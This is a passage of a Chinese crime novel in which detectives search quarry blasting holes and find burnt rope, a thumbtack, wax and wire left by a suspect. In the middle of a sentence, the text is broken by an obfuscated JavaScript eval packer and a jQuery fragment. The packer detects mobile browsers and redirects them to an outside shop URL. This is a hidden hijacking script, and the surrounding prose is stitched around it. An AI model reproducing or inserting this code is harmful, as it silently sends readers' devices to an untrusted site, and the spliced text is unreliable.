凌晨两点，纪荀回到派出所的临时宿舍，躺下好一会却睡不着。
他把那截烧过的麻绳和掌纹照片放在桌上，就着台灯的光反复看。
麻绳是普通的三股黄麻绳，农村供销社里最常见的货色，烧过的那一端碳化得厉害，断口整齐，是用刀割的。没烧的那一端还保持着麻纤维的本色，捻得很紧。
他在脑子里还原那个动作：一个人站在采石场的炸药孔前，从怀里掏出一截麻绳，用火柴或者打火机点着了一端。麻绳烧到一半，他把它塞进炸药孔里，用手掌压实，转身离开。
他为什么要烧麻绳？
这个问题在纪荀脑子里转了好几圈。
烧麻绳只有两个目的，要么是销毁，要么是仪式。如果是销毁，直接把整根麻绳扔进灶膛里烧成灰，比在荒山野岭烧一截要彻底得多。
但他只烧了一半，留了一半，这说明他是在做别的什么事。
纪荀拿起手机，拨了林墨的号码。响了两声，林墨接了，声音清醒，显然也没睡。
“麻绳的事，我想到一个可能。”纪荀说。
“你说。”
“他在试验麻绳的燃烧速度。”
电话那头沉默了几秒。林墨说：“你是说，他用麻绳做延时装置？”
“对。麻绳浸过煤油或者桐油之后，燃烧速度是可控的。他知道一截麻绳烧完需要多长时间。这段时间够他从山上走到山下，或者够他做完某件事，然后离开。”纪荀说，“这就解释了为什么要把麻绳藏在炸药孔里。那是他的工具箱，他每次上山都会用到那些东西。炸药孔干燥、隐蔽、不会被雨水冲走，是最好的储藏点。”
林墨说：“如果采石场的炸药孔不止这一个被用过，那我们找到的就不是一截麻绳。”
纪荀挂了电话，穿好衣服走出宿舍。夜风迎面扑来，他打了个寒噤，但脑子反而更清醒了。
他走到停车的地方，发动了桑塔纳。发动机的轰鸣在寂静的夜里显得格外突兀。宿舍的灯亮了一下，大刘探出头来。
“纪队？”
“睡不着，再去一趟采石场。”
大刘套上外套就往外走：“我跟你一块儿去。”
两人上了车，沿着之前走过的便道往采石场开。车灯照亮前方的碎石路，两边的树影不断后退。
大刘坐在副驾驶上，手里攥着个手电筒，没说话。
到了采石场，纪荀把车停在老位置，从后备箱取出勘查灯和工具箱。
两人走到岩壁下面，纪荀用手电照了照那个凹槽的位置。
“刚才我和林墨在这里发现一截烧过的麻绳，还有一个右手掌印。”他说，“现在我们要把这片岩壁上所有的炸药孔都检查一遍。”
大刘抬头看了看岩壁，采石场的作业面有二十多米宽，岩壁上分布着几十个炸药孔，有的在低处，有的在离地面三四米的位置。
二十年过去了，岩壁表面风化了薄薄一层，但孔洞还在。
纪荀从最低的一排开始检查。他用手电贴着岩壁斜照，让光束和岩面形成极小的夹角。
在斜射光下，岩壁上原本肉眼看不见的细微痕迹会显现出来。
第一个孔是空的，底部积了一层细土，没有人为动过的痕迹。第二个孔也一样。第三个孔的边缘有一些凿痕，是当年采石工人打孔时留下的，和案件无关。
检查到第七个孔时，纪荀的手停住了。
这个孔离地面大概一米五，孔径比其他的稍大一些。在斜射光下，孔底部的细土层表面有一些不规则的凹陷，凹陷边缘光滑，和自然沉积的尘土表面完全不同。
“有人用手指戳过这里。”纪荀说。
他戴上手套，从工具箱里取出竹镊子和物证袋。孔底的细土被一层层拨开，在第二层和第三层之间，竹镊子碰到了什么硬的东西。
纪荀把它夹出来，居然是一枚图钉。
图钉的钉帽已经氧化发黑，但钉身还保持着金属光泽。
钉帽上压着一小片已经碳化的纸，纸片大概指甲盖大小，隐约能看出上面有墨水的痕迹。
“这是什么？”大刘凑过来看。
纪荀把图钉翻过来，就着手电光仔细观察。
钉帽边缘有轻微的磨损痕迹，说明这枚图钉被反复按压过，碳化的纸片贴附在钉帽内侧。
“有人用图钉把纸钉在什么东西上，后来纸被烧掉了，图钉留了下来。”纪荀把图钉装进物证袋，“这个孔里可能还藏着别的东西。”
他继续往下挖。很快，在细土层的最底部，他又找到了一小截烧过的麻绳，和之前发现的那截一样。同样是三股黄麻，一端碳化，断面整齐。但这一截更短，只有一公分多一点。
他把两截麻绳并排放在物证袋里对比。断口的纹路对不上，说明不是同一根麻绳上剪下来的。但两截麻绳的碳化程度、燃烧速度、断口的切割方式，高度一致。
同一个人，用同样的方法，烧了不止一根麻绳。
大刘帮着他把剩下的炸药孔一个个检查过去。
一直到五点，两人在岩壁上又找到了三处有异常痕迹的炸药孔。
其中一处的孔底有一些熔化的蜡油，已经和尘土混在一起，形成了灰白色的硬块。另一处的孔壁上有一道明显的划痕，是金属器物刮擦留下的。第三处的孔底有一小截生锈的铁丝。
纪荀把这些东西全部编号、拍照、装袋。他蹲在岩壁下，把这些物证袋一字排开，就着勘查灯的光反复看。
“这些都不是偶然掉进去的。”他说，“麻绳、图钉、蜡油、铁丝，每一样东西都是被故意放进去的。放的人知道自己在做什么，他把这些东西分类存放在不同的孔里，就像在整理一个工具箱。”
大刘蹲在他旁边，看着那些物证袋，说：“但他后来再也没来取过。”
“对。”纪荀站起来，拍拍膝盖上的土，“二零零二年秋天之后，这个人再也没有回到这片采石场。要
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17742202|209124||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
么是他死了，要么是他离开了这个地方，要么是——”
他顿了顿，又说：“要么是他不需要再用这些东西了。”
大刘不禁打了个哆嗦，不知道是因为凌晨的寒气，还是因为纪荀这句话。
天边开始泛白，纪荀把物证整理好，放进后备箱。两人开车下山，回到派出所时，食堂的灯已经亮了。
林墨坐在食堂角落里，面前摆着一碗粥和一碟咸菜，看见纪荀进来，放下筷子。
“去了采石场？”
“又找到一些东西。”纪荀把物证袋放在桌上，在林墨对面坐下。
林墨戴上手套，把物证袋一个个打开看。看到图钉上那片碳化的纸时，他的动作停了下来。
“纸上有墨迹。”他说，把图钉凑到灯光下，“这是钢笔或者圆珠笔的手写笔迹，纸虽然碳化了，但墨迹还在。如果运气好，能恢复出部分笔画。”
“能恢复吗？”
“刑科所有红外成像设备，碳化的纸张在特定波段的红外光下会呈现出不同的反射率，到时候能提取出对比度。”林墨放下图钉，拿起那截铁丝，问，“这是什么？”
“从第四个孔里找到的。铁丝的弯折角度比较规整，不像是随手折的。”
林墨把铁丝放在比例尺旁边，用手机拍了几张照片。
铁丝的直径大概一毫米，被折成了不规则的几段，但其中两个弯折处的角度很接近，都在九十度左右。
“这是用来固定什么东西的。”林墨说，“可能是把纸或者布固定在某个平面上，铁丝的两端弯折后卡住边缘。和图钉配合使用。
”
纪荀喝了一口大刘端过来的热豆浆，脑子里在拼凑这些碎片。
麻绳用来做延时燃烧装置，图钉和铁丝用来固定纸张，蜡油可能是照明用的简易油灯的残留。
这些东西凑在一起，指向一个明确的行为模式：这个人在采石场有一套固定的操作流程，他把工具藏在岩壁的孔洞里，每次上山时取用，用完后再放回去。
但是二零零二年秋天之后，他再也没来过。这些东西就被留在了孔洞里，被二十年的尘土层层掩埋。
上午八点，苏棠带着技术组的人上山了。他们要在石坑周边的树林里搜索烟头、炭屑和油灯残留物。
纪荀让大刘带队去采石场，把岩壁上每一个炸药孔都做彻底检查，做记录、拍照、提取所有可疑物证。他自己则留在派出所，等着张文峰发来更详细的昆虫学检验报告。
十点半，张文峰的报告到了。
这篇报告很长，纪荀坐在会议室的角落，一页一页地往下翻，仔细看着。
张文峰在土壤样品中一共分离出了三种嗜尸性蝇类的蛹壳，数量最多的是一种叫“丝光绿蝇”的丽蝇科昆虫。这种蝇类的成虫在秋季活动频繁，雌蝇在尸体腐败早期就会飞来产卵。卵孵化成幼虫后，幼虫钻入尸体内部取食，经过三龄发育后爬离尸体，在附近的土壤中化蛹。